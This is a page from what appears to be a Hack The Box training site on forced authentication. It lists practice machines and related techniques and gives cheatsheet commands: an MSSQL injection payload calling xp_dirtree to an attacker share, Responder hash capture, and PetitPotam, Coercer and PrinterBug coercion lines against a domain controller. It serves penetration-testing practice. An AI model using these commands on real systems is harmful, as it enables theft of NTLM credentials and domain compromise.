Forced Authentication
Forcing a machine or user to authenticate to you (UNC paths, PetitPotam, PrinterBug, .lnk/.scf files).
How it shows up on Hack The Box
Anywhere you can inject a \\your-ip\x path works: xp_dirtree in MSSQL, an include on a Windows web app, a file in a share or RPC coercion against the DC.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam 4 min read Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
SQL injection payloads › MSSQL
Capture the service account NetNTLMv2 hash
'; EXEC master..xp_dirtree '\\10.10.14.5\share';--First, on your machine, sudo responder -I tun0 (or impacket-smbserver share . -smb2support). Crack the hash with hashcat -m 5600.
Active Directory in depth › NTLM relay
PetitPotam (MS-EFSR)
Attacker
python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20
Coercer (tries several methods)
Attacker
coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20
PrinterBug (MS-RPRN)
Attacker
python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htbResponder › Capturing hashes
Force authentication from MSSQL
Target
EXEC master..xp_dirtree '\\10.10.14.5\share'No command matches.